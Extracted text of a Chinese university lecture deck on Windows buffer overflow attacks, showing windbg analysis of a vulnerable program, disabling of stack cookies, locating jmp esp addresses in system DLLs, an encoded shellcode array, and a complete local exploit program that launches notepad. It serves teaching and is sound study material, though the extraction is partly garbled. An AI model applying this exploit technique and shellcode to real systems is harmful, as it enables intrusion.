网络安全12-Windows缓冲区溢出攻击.pptx

上传人:奉*** 文档编号:87678260 上传时间:2023-04-16 格式:PPTX 页数:67 大小:800.09KB
返回 下载 相关 举报
网络安全12-Windows缓冲区溢出攻击.pptx_第1页
第1页 / 共67页
网络安全12-Windows缓冲区溢出攻击.pptx_第2页
第2页 / 共67页
点击查看更多>>
资源描述

《网络安全12-Windows缓冲区溢出攻击.pptx》由会员分享,可在线阅读,更多相关《网络安全12-Windows缓冲区溢出攻击.pptx(67页珍藏版)》请在得力文库 - 分享文档赚钱的网站上搜索。

1、第12讲第10章 Windows系统的缓冲区溢出攻击第10章Windows系统的缓冲区溢出攻击Windows系统是目前应用最广泛的桌面操作系统,对其入侵能获得巨大的利益,因而其安全漏洞及利用技术是黑客最乐意研究的。Windows系统是闭源软件,在没有源代码的情况下很难获得该系统全面而准确的信息,而这些信息对于漏洞攻击是至关重要。因此,要成功攻破Windows系统,难度是很大的。Linux和Windows系统的缓冲溢出原理是相同的:用超过缓冲区容量的数据写缓冲区,从而覆盖缓冲区之外的存储空间(高地址空间),破坏进程的数据。由于函数的返回地址一般位于缓冲区的上方,返回地址也是可以改写的,这样就可控

2、制进程的执行流程。Windows溢出攻击210.1 Win32的进程映像了解内存中的进程映像是进行攻击的基础,例程mem_distribute.c用于观察进程的内存映像。编译并运行该例程:C:Worknswin32Codebincl.srcmem_distribute.c./out:mem_distribute.exemem_distribute.objC:Worknswin32Codebinmem_distribute.exeWindows溢出攻击3(.text)addressoffun1=00401000fun2=0040100Bmain=00401017(.datainitedGloba

3、lvariable)addressofx(inited)=00406030z(inited)=00406034(.bssuninitedGlobalvariable)addressofy(uninit)=00406BF4(stack)addressofargc=0012FF88argv=0012FF8Cargv0=00410EC8(Localvariable)addressofvulnbuff64=0012FF34(Localvariable)addressofa(inited)=0012FF7Cb(uninit)=0012FF78c(inited)=0012FF74Windows溢出攻击4W

4、in32进程映像的特点Win32进程的内存分布呈现与Linux IA32进程类似的内存分布,也分成代码、变量、堆栈区等。具有以下特点:1)可可执执行行代代码码fun1,fun2,main存放在内存的低地址端,且按照源代码中的顺序从低地址到高地址排列(先定义的函数的代码存放在内存的低地址)。2)全全局局变变量量(x,y,z)也存放内存低端,位于可执行代码之上(起始地址高于可执行代码的地址)。初始化的全局变量存放在低地址,而未初始化的全局变量位于高地址。Windows溢出攻击53)局局部部变变量量位于堆栈的低地址区(0 x0012 FFxx):字符串变量虽然先定义,但是其起始地址小于其他变量,最后

5、进栈;其它变量从低地址到高地址依次逆序(先定义的放在高地址,类似于栈的push操作)存放。4)函函数数的的入入口口参参数数的地址(0 x0012 FFxx)位于堆栈的高地址区,位于函数局部变量之上。Windows溢出攻击6由 3、4可 以 推 断 出,栈 底(最 高 地 址)位 于0 x0012FFFC,环境变量和局部变量处于进程的栈区。进一步的分析知道,函数的返回地址也位于进程的栈区。整体上看,Win32进程的内存映像上分成3大块:0 x7CXX XXXX:动态链接库的映射区,比如kernel32.dll,ntdll.dll0 x0040 0000:可执行程序的代码段及数据段0 x0012

6、FFFC:堆栈区7Windows溢出攻击Win32进程映像高地址0 x7CXX-XXXX动态链接库的映射区比如kernel32.dll,ntdll.dll空白区高地址.bssglobal未初始化全局变量.dataglobal初始化的全局变量mainfun20 x00401000fun1低地址低地址0 x0012FFFC(堆栈堆栈)高高地址地址0 x0012FF8Cargvmain的参数的地址即命令行参数的地址0 x0012FF88argclocal局部变量低地址低地址8Windows溢出攻击注注:该程序(mem_distribute.c)在Windows7下的运行结果每次都不同,这就说明了Wi

7、ndows7对进程的地址空间使用了地址随机化机制,使得进程的地址空间每次运行均不同。进一步的测试表明,Windows7动态链接库的加载基址不随进程的运行次数改变,然而,如果重新启动操作系统,则动态链接库的加载基址也会变化。Windows溢出攻击9数据段进程有三种数据段:.text、.data、.bss。.text(文本区),任何尝试对该区的写操作会导致段违法出错。文本区存放了程序的代码,包括main函数和其他子函数。.data和.bss都是可写的。它们保存全局变量,.data段包含已初始化的静态变量,而.bss包含未初始化的数据。10Windows溢出攻击栈的信息函数调用时所建立的栈帧包含了下

8、面的信息:1)函函数数的的返返回回地地址址。IA32的返回地址都是存放在被调用函数的栈帧里。2)调调用用函函数数的的栈栈帧帧信信息息,即栈顶和栈底(最高地址)。3)为为函数的局部变量分配的空间函数的局部变量分配的空间。4)为为被调用函数的参数分配的空间被调用函数的参数分配的空间。返返回回地地址址位于高地址,局部变量位于底地址,因此对字符串的操作有有可能可能覆盖返回地址覆盖返回地址。11Windows溢出攻击10.2 Win32缓冲区溢出流程为了改写被调用函数的返返回回地地址址,必须确定返回地址与缓冲区起始地址的距离(也称为偏移,常用OFF_SET表示)。这就需要对可执行文件进行调试和追踪。例程

9、2:overflow.cchar largebuff=01234567890123456789ABCDEFGH;/28 bytesvoid foo()char smallbuff16;strcpy(smallbuff,largebuff);int main(void)foo();Windows溢出攻击12例程overflow.c有一个缓冲区溢出漏洞。编译并执行该程序:C:Worknswin32Codebincl.srcoverflow.c/out:overflow.exeoverflow.objC:Worknswin32Codebinoverflow.exe软件运行出错,系统弹出一个窗口,结果

10、如图10-1所示。Windows溢出攻击13图10-1 进程运行错误的提示窗口Windows溢出攻击14系统提示overflow.exe已停止工作。为了找到错误的根源,必须调试overflow.exe。为了对Windows的进程进行调试,需要选择合适的调试和反汇编工具。著名的第三方工具有IDA、ollydbg、softICE等。这些工具提供了友好的界面和强大的功能,读者可以根据个人偏好选用。这里选用微软公司为其设备驱动开发套件(Windows Driver Kit)配套的windbg。Windows溢出攻击15Windows溢出攻击16图10-2 打开可执行文件Windows溢出攻击17图10

11、-3 windbg的command窗口反汇编main函数,在command的命令行输入:u main,则显示如下信息:0:000 u main*WARNING:Unable to verify checksum for image00400000*ERROR:Module load completed but symbols could not be loaded for image00400000*ERROR:Symbol file could not be found.Defaulted to export symbols for C:WINDOWSsystem32kernel32.dll

12、-Couldnt resolve error at mainwindbg提示找不到符号main。这是因为默认编译C程序并不会输出符号文件。Windows溢出攻击18为了便于调试程序,用/Fd/Zi选项重新编译overflow.c,以输出符号表文件(*.pdb)。C:Worknswin32Codebincl/FD/Zi.srcoverflow.c/out:overflow.exe/debugoverflow.objC:Worknswin32Codebindir overflow.*2014-12-13 08:48 112,640 overflow.exe2014-12-13 08:48 554,

13、424 overflow.ilk2014-12-13 08:48 3,247 overflow.obj2014-12-13 08:48 838,656 overflow.pdboverflow.pdb就是符号表文件。启动windbg,在File菜单中选Open Executable打开overflow.exe,windbg打开默认的command窗口。Windows溢出攻击19在command的命令行输入:u main,则显示汇编代码如下:0:000 u main*WARNING:Unable to verify checksum for overflow.exeoverflow!main c

14、:worknswin32codeoverflow.c 13:00401050 55 push ebp00401051 8bec mov ebp,esp00401053 e8adffffff call overflow!ILT+0(_foo)(00401005)00401058 33c0 xor eax,eax0040105a 5d pop ebp0040105b c3 retWindows溢出攻击20反汇编函数foo:0:000 u foo L12overflow!foo c:worknswin32codeoverflow.c 8:00401020 55 push ebp00401021 8b

15、ec mov ebp,esp00401023 83ec14 sub esp,14h00401026 a120b04100 mov eax,dword ptr overflow!_security_cookie(0041b020)0040102b 33c5 xor eax,ebp0040102d 8945fc mov dword ptr ebp-4,eax00401030 6800b04100 push offset overflow!largebuff(0041b000)00401035 8d45ec lea eax,ebp-14h00401038 50 push eax00401039 e8

16、32000000 call overflow!strcpy(00401070)0040103e 83c408 add esp,800401041 8b4dfc mov ecx,dword ptr ebp-400401044 33cd xor ecx,ebp00401046 e81d010000 call overflow!_security_check_cookie(00401168)0040104b 8be5 mov esp,ebp0040104d 5d pop ebp0040104e c3 retWindows溢出攻击21Windows溢出攻击22图10-4 反汇编窗口Windows溢出攻

17、击23图10-5 反汇编窗口在函数的入口、strcpy调用点和函数的返回点用bp命令设置3个断点。设置断点后,反汇编窗口中的相应行用红色背景突出显示。在command窗口输入g,或按F5,启动调试。进程执行到第一个断点(foo的第一条语句),并在command窗口中显示当前指令及寄存器的值:0:000 gBreakpoint 0 hiteax=00373008 ebx=7ffd9000 ecx=00000001 edx=7c95845c esi=00000000 edi=00000000eip=00401020 esp=0012ff74 ebp=0012ff78 iopl=0 nv up ei

18、 pl zr na pe nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246overflow!foo:00401020 55 push ebp0:000 dd esp0012ff74 00401058 0012ffc0 004012e2 00000001Windows溢出攻击24记录下esp的值:A=esp=0012ff74,该地址的内存(堆栈)保存了foo的返回地址。用dd esp命令显示堆栈的值为00401058,该地址是函数main第4条汇编指令的地址,而main的第3条 汇 编 指 令 为 call overfl

19、ow!ILT+0(_foo)(00401005)。在反汇编窗口中可以看到地址为00401005的汇编指令为jmp overflow!foo(00871020),如图10-6所示。这样就验证了esp指向的栈保存的是函数foo的返回地址。Windows溢出攻击25Windows溢出攻击26图10-6 esp等于存放返回地址的栈指针按F5执行到下一个断点,观察执行strcpy之前esp寄存器的值。0:000 dd esp0012ff54 0012ff5c 0041b000 00402b40 3c85029b.0:000 da 0041b0000041b000 01234567890123456789

20、ABCDEFGH可见smallbuf的起始地址B=0012ff5c,largebuf的起始地址=0041b000。返回地址与smallbuf的起始地址的距离=A-B=0 x18=24。因此,可以推测返回地址被覆盖为largebuf偏移24开始的4个字符“EFGH”。以下命令的结果也证实了这点。0:000 da 0041b000+0 x180041b014 EFGHWindows溢出攻击27按F5继续执行,在命令窗口的输出为0:000 g.ntdll!KiFastSystemCallRet:7c95845c c3 ret0:000 g No runnable debuggees error in

21、 g程序并未执行到下一个断点,而是跳转到内核去执行其他的指令。这是因为新版本的VC编译器默认打开了函数的安全检查,即security check,对应于函数foo的以下两条汇编指令:00401026 a120b04100 mov eax,dword ptr overflow!_security_cookie(0041b020)00401046 e81d010000 call overflow!_security_check_cookie(00401168)Windows溢出攻击28security check机制是这样的:(1)函数foo先调用_security_cookie保存一个cooki

22、e,再执行其他指令;(2)函数foo退出之前调用_security_check_cookie,检查cookie的值是否被改写。若cookie被改写,则说明出现了缓冲区溢出错误,引发异常且中断程序的执行,从而防止了错误的进一步扩散。一般说来,如果打开了编译器的安全检查,则缓冲区溢出漏洞虽然也能破坏进程的内存空间(相邻的变量),但并不能导致进程被劫持。这是因为即使返回地址被改写,函数中的ret语句也不会被执行,从而无法改变进程的执行流程。Windows溢出攻击29为了演示进程被劫持的原理,我们关闭编译器的安全检查,用参数/GS-重新编译overflow.c:C:Worknswin32Codebin

23、cl/FD/Zi/GS-.srcoverflow.c用gdb调试overflow.exe,函数foo的反汇编代码如下:0:000 u foo L10overflow!foo c:worknswin32codeoverflow.c 8:00401020 55 push ebp00401021 8bec mov ebp,esp0040102f e83c000000 call overflow!strcpy(00401070)00401039 5d pop ebp0040103a c3 retWindows溢出攻击30在0108120、0108102f、0108103a设置3个断点。在command

24、窗口输入g或按F5,启动进程执行到foo的第一条语句,观察esp寄存器的值。0:000 dd esp0012ff74 00401048 0012ffc0 004012e2 00000001按F5执行到下一个断点,观察执行strcpy之前esp寄存器的值。0:000 dd esp0012ff58 0012ff60 0041b000 84af87e3 fffffffe.0:000 da 0041b0000041b000 01234567890123456789ABCDEFGH可见smallbuf的起始地址B=0012ff60,函数的返回地址保存在A=0012ff74。Windows溢出攻击31返回

25、地址与smallbuf的起始地址的距离(偏偏移移)OFF_SET=A-B=0 x14=20。因此,可以推测返回地址被覆盖为largebuf偏移20开始的4个字符“ABCD”。以下命令的结果证实了这点。0:000 da 0041b000+0 x140041b014 ABCDEFGH细心的读者会发现,现在的OFF_SET为0 x14。若打开C编译器的安全检查,则OFF_SET为0 x18,这多出的4个字节用于保存cookie的值。Windows溢出攻击32按F5继续执行,观察执行ret之前esp寄存器的值。0:000 dd esp0012ff74 44434241 48474645 0040120

26、0 00000001.0:000 da esp0012ff74 ABCDEFGH可见,ret之前esp指向的内存单元已经被覆盖为”ABCD”,或16进制数0 x44434241。执行ret后的eip=0 x44434241,且,且esp=esp+4。Windows溢出攻击33按F10执行当前指令。0:000 peax=0012ff60 ebx=7ffd4000 ecx=0041b020 edx=00000000 esi=00000000 edi=00000000eip=44434241 esp=0012ff78 ebp=39383736 iopl=0 nv up ei pl nz ac pe

27、nccs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=0000021644434241?0:000 u eip44434241?Memory access error in u eip地址为0 x44434241的内存访问错误,因此引发异常。Windows溢出攻击34通过以上分析可知,Win32平台和Linux x86平台的溢出流程基本上是一致的。然而Windows进程的堆栈位置常常会发生变化,这就很难估计被攻击缓冲区首地址的大致范围,也就是很难确定一个合适的跳转地址。因此,在一段时间里,人们认为虽然Windows系统也存在溢出漏洞,但是溢

28、出漏洞不可利用。直到1998年,才出现了通过动态链接库的进程跳转攻击方法,从而实现了Windows的溢出漏洞的利用。Windows溢出攻击3510.3 Win32缓冲区溢出攻击技术从上面的溢出流程可以看到,ret后eip变成可以控制的内容,此时的esp增加4,指向输入字符串中返回地址所在的单元偏移4字节的地址。如果把Shellcode放到保存返回地址所在单元的后面,而把这个返回地址覆盖成一个包含jmp esp或call esp指令的地址,那么执行ret指令之后将跳转到Shellcode。Windows溢出攻击36进程跳转攻击方法的基本思想:从系统必须加载的动态链接库(如ntdll.dll,ke

29、rnel32.dll)中寻找call esp和jmp esp指令,记录下该地址(溢出攻击的跳转地址),将该地址覆盖函数的返回地址,而将shellcode放在返回地址所在单元的后面。这样就确保溢出后通过动态链接库中的指令而跳转到被注入到进程堆栈中的shellcode。攻击串(largebuf)的组织方式如图10-7所示。Windows溢出攻击37Windows溢出攻击38图10-7 进程跳转的思想成功实现这种攻击方法的关键在于找到jmp esp(代码为0 xffe4)或call esp(代码为0 xffd4)的地址。下面将介绍如何在用户进程空间查找这种指令。用windbg打开目标程序,输入.im

30、gscan 以查看内存中的进程映像:0:000.imgscanMZ at 00400000,prot 00000002,type 01000000-size 1e000 Name:overflow.exeMZ at 7c800000,prot 00000002,type 01000000-size 12d000 Name:KERNEL32.dllMZ at 7c930000,prot 00000002,type 01000000-size d3000 Name:ntdll.dll可见,在进程的内存空间中有3个文件的映像,他们分别是:(1)可执行文件overflow.exe,在内存中的起始地址为

31、0 x00400000,大小为0 x1e000;(2)KERNEL32.dll,映射到起始地址为7c800000,大小为0 x12d000的进程内存空间;(3)ntdll.dll,映射到起始地址为7c930000,大小为0 xd3000的进程内存空间;Windows溢出攻击39在windbg的command中依次输入“s 7c800000 L12d000 ff e4”和“s 7c800000 L12d000 ff d4”,分 别 查 找KERNEL32.dll中的jmp esp和call esp指令:0:000 s 7c800000 L12d000 ff e40:000 s 7c800000

32、L12d000 ff d47c85d5b8 ff d4 ff 0b c1 8b 4d e0-89 03 8b 45 e4 81 c1 80结果表明,KERNEL32.dll中没找到jmp esp指令;在KERNEL32.dll中call esp指令的地址为0 x7c85d5b8。用同样的方法在ntdll.dll中查找,输入“s 7c930000 Ld3000 ff e4”和“s 7c930000 Ld3000 ff d4”,结果如下:0:000 s 7c930000 Ld3000 ff e47c99c3c2 ff e4 fa ff 4e 4e 66 8b-0c 7d 24 fc 95 7c 6

33、6 890:000 s 7c930000 Ld3000 ff d47c98c784 ff d4 fc ff 89 b3 a0 00-00 00 57 e9 36 02 00 00找到1条jmp esp指令和1条call esp指令,将这些信息记录下来,以备后用。Windows溢出攻击40模模块指令指令地址地址KERNEL32.dlljmpesp无callesp0 x7c85d5b8ntdll.dlljmpesp0 x7c99c3c2callesp0 x7c98c784Windows溢出攻击41需要指出的是,不同版本的Windows系统(相同版本打不同补丁后)中的动态链接库(及其加载地址)是不同

34、的,因此jmp esp和call esp指令在进程映像中的地址也是不同的。尤其是Windows 7及其后续版本,由于使用了地址随机化机制,即使是同一个系统,下一次启动系统的动态链接库加载地址也有改变。故对于Windows 7及其后续版本,要成功实现缓冲区溢出攻击的概率极小。Windows溢出攻击4210.4 Win32缓冲区溢出攻击实例10.4.1 分析分析目标程序,确定缓冲区的起始地目标程序,确定缓冲区的起始地址与函数的返回地址的距离址与函数的返回地址的距离例程w32Lexploit.c中的函数overflow定义如下:#define BUFFER_LEN 128void overflow(

35、char*attackStr)char bufferBUFFER_LEN;strcpy(buffer,attackStr);Windows溢出攻击43由于函数overflow中的局部变量buffer的容量只有128字节,若输入的数据attackStr过多,则将发生缓冲区溢出错误。一般通过windbg跟踪该程序的执行而确定返回地址与buffer起始地址的距离。如果函数内只有一个字符串类型的局部变量,也可以用以下公式计算:偏移=上取整(sizeof(buffer)/4.0)*4+4对 于 本 例,偏 移=上 取 整(sizeof(buffer)/4.0)*4+4=上取整(128/4.0)*4+4=

36、13*4+4=132Windows溢出攻击4410.4.2编写shellcode,实现定制的功能一般来说,一类平台下的shellcode具有一定的通用性,只要进行少量修改就可实现所需的功能。读者平时要多收集一些备用。以下代码在被攻击的目标机器上创建一个新的进程,并打开记事本notepad.exe:示例:一个执行notepad.exe的shellcodewin32平台下的shellcode技术在第11章介绍。Windows溢出攻击45char shellcode=/*287=0 x11f bytes*/xebx10 x5bx53x4bx33xc9x66xb9x08x01x80 x34x0bxfe

37、xe2xfaxc3xe8xebxffxffxffx96x9bx86x9bxfex96x8ex9fx9axd0 x96x90 x91x8ax9bx75x02x96xa9x98xf3x01x96x9dx77x2fxb1x96x37x42x58x95xa4x16xa8xfexfexfex75x0exa4x16xb0 xfexfexfex75x26x16xfbxfexfexfex17x30 xfexfexfexafxacxa8xa9xabx75x12x75x29x7dx12xaax75x02x94xeaxa7xcdx3ex77xfax71x1cx05x38xb9xeexbax73xb9xeexa9xa

38、ex94xfex94xfex94xfex94xfex94xfex94xfexacx94xfex01x28x7dx06xfex8axfdxaex01x2dx75x1bxa3xa1xa0 xa4xa7x3dxa8xadxafxacx16xefxfexfexfex7dx06xfex80 xf9x75x26x16xe9xfexfexfexa4xa7xa5xa0 x3dx9ax5fxcexfexfexfex75xbexf2x75xbexe2x75xfex75xbexf6x3dx75xbdxc2x75xbaxe6x86xfdx3dx75x0ex75xb0 xe6x75xb8xdexfdx3dx75xbax

39、76x02xfdx3dxa9x75x06x16xe9xfexfexfexa1xc5x3cx8axf8x1cx18xcdx3ex15xf5x75xb8xe2xfdx3dx75xbax76x02xfdx3dx3dxadxafxacxa9xcdx2cxf1x40 xf9x7dx06xfex8axedx75x24x75x34x3fx1dxe7x3fx17xf9xf5x27x75x2dxfdx2exb9x15x1bx75x3cxa1xa4xa7xa5x3d;Windows溢出攻击4610.4.3 组织攻击代码,实施攻击在合适的位置放置跳转地址和shellcode以构建攻击字符串,将其拷贝到目标缓冲区以实

40、现攻击。例程:w32Lexploit.c#include windows.h#include stdio.h#include stdlib.h#define JUMPESP 0 x7c84fa6a /windows2003 sp2 0 x7c99c3c2 sp1=0 x7c84fa6a#define BUFFER_LEN 128#define OFF_SET 132 /516=0 x204void overflow(char*attackStr)char bufferBUFFER_LEN;strcpy(buffer,attackStr);Windows溢出攻击47void smashStack

41、(char*shellcode)char Buff1024;memset(Buff,0 x90,sizeof(Buff)-1);ps=(unsigned long*)(Buff+OFF_SET);*(ps)=JUMPESP;strcpy(Buff+OFF_SET+4,shellcode);BuffATTACK_BUFF_LEN-1=0;overflow(Buff);void main(int argc,char*argv)smashStack(shellcode);Windows溢出攻击48编译w32Lexploit.cpp,结果如下:C:Worknswin32Codebincl/GS-.sr

42、cw32Lexploit.cpp/out:w32Lexploit.exew32Lexploit.obj运 行 w32Lexploit.exe,则 将 打 开 一 个 新 的notepad.exe实例C:Worknswin32Codebin w32Lexploit.exe因此,本地攻击是成功的。如果将该shellcode发送到远程目标,则将在远程目标机器上打开一个新的notepad.exe实例。Windows溢出攻击49Windows溢出攻击50图10-8 运行w32Lexploit.exe后打开一个记事本10.5 Win64平台的缓冲区溢出运行于Intel 64位CPU(或兼容Intel CP

43、U,如AMD)的Windows操作系统称为Windows intel64,简称为Win64。64位的Windows系统近年来被广泛应用于桌面操作系统中。目前,常用的操作系统有64位的Windows7和Windows8.1,它们均基于intel64。intel64和IA32架构的主要区别在于地址由32位上升为64位,相应的寄存器也是64位。我们以64位Windows7为例说明64位Windows系统的缓冲区溢出攻击方法。Windows溢出攻击5110.5.1 Win64的进程映像为了观察64位Windows的进程映像,用“Visual Studio x64 Win64 命令提示(2010)”编译

44、和运行mem_distribute.c,结果如下所示:D:workspacenswin64Codebincl.srcmem_distribute.c./out:mem_distribute.exemem_distribute.objD:workspacenswin64Codebinmem_distribute.exe(.text)address of fun1=000000013FEC1000 fun2=000000013FEC1020 main=000000013FEC1040.Windows溢出攻击52高地址高地址0000-07xx-xxxx-xxxx动态链接库KERNELBASE.dll

45、的映射区空白区高地址.bssglobal未初始化全局变量.dataglobal初始化的全局变量mainfun20000-0001-3FEC-1000fun1低地址0 x7xxx-xxx动态链接库kernel32.dll,ntdll.dll的映射区0000-0000-0025-FFFC堆栈高地址0000-0000-0025-FD68argvmain的参数的地址即命令行参数的地址0000-0000-0025FD60argclocal局部变量低地址低地址Windows溢出攻击53表10-2 64位Windows的进程映像注:64位的Windows7对进程的地址空间使用了地址随机化机制,使得每次运行进

46、程所给出的地址空间均不同。进一步的测试表明,动态链接库的加载基址不随进程的运行次数改变,然而,如果重新启动操作系统,则动态链接库的加载基址也会变化。注:Win64除了加载kernel32.dll,ntdll.dll,还加载了KERNELBASE.dll函数调用时所建立的栈帧也包含了下面的信息:(1)函数被调用完后的返回地址。(2)调用函数的栈帧信息,即栈顶和栈底(最高地址)。(3)为函数的局部变量分配的空间。(4)为被调用函数的参数分配的空间。由于被调用函数的返回地址和其内部的局部变量均存放在栈中,且返回地址在栈的高地址区、缓冲区在栈的低地址区,如果向缓冲区拷贝了过多的数据,则返回地址被改写。

47、Windows溢出攻击5410.5.2 Win64的缓冲区溢出流程考虑如下的例子程序(w64overflow.c):#include#include char largebuff=012345678901234567890123ABCDEFGH;/32 bytesvoid foo()char smallbuff16;strcpy(smallbuff,largebuff);int main(void)foo();Windows溢出攻击55用/Zi/GS-参数编译并运行程序:D:workspacenswin64Codebincl/Zi/GS-.srcw64overflow.c/out:w64ove

48、rflow.exe/debugD:workspacenswin64Codebinw64overflow.exe可见会发生段错误。Windows溢出攻击56图10-9 进程运行错误提示窗口Windows溢出攻击57图10-10 加载w64overflow.exe后的Command窗口反汇编foo函数:0:000 u foow64overflow!foo d:workspacenswin64codesrcw64overflow.c 8:000000013f571020 4883ec38 sub rsp,38h000000013f571024 488d15d5ff0000 lea rdx,w64ov

49、erflow!largebuff(000000013f581000)000000013f57102b 488d4c2420 lea rcx,rsp+20h000000013f571030 e88b010000 call w64overflow!strcpy000000013f571035 4883c438 add rsp,38h000000013f571039 c3 ret在3个关键地址设置断点:0:000 bp foo0:000 bp foo+100:000 bp foo+19Windows溢出攻击58Windows溢出攻击59图10-11 设置断点后的反汇编窗口可以看出,Win64进程用6

50、4位栈寄存器rsp保存了返回地址的指针,用64位寄存器rdx和rcx分别保存strcpy函数的两个参数。启动进程,执行到第1个断点(foo的第1条汇编指令),查看寄存器的值:0:000 dd rsp000000000029f8d8 3f571049 00000001 00000001 0000000栈 指 针 为 00000000-0029f8d8,栈 内 容 为 00000001 3f571049,该地址就是foo()函数的返回地址,对应于main()的第3条汇编指令。记 录 下 堆 栈 指 针 rsp的 值,在 此 以 A标 记,A=rsp=0 x00000000 0029f8d8。继续执

展开阅读全文
相关资源
相关搜索

当前位置:首页 > 教育专区 > 大学资料

本站为文档C TO C交易模式,本站只提供存储空间、用户上传的文档直接被用户下载,本站只是中间服务平台,本站所有文档下载所得的收益归上传人(含作者)所有。本站仅对用户上传内容的表现方式做保护处理,对上载内容本身不做任何修改或编辑。若文档所含内容侵犯了您的版权或隐私,请立即通知得利文库网,我们立即给予删除!客服QQ:136780468 微信:18945177775 电话:18904686070

工信部备案号:黑ICP备15003705号-8 |  经营许可证:黑B2-20190332号 |   黑公网安备:91230400333293403D

© 2020-2023 www.deliwenku.com 得利文库. All Rights Reserved 黑龙江转换宝科技有限公司 

黑龙江省互联网违法和不良信息举报
举报电话:0468-3380021 邮箱:hgswwxb@163.com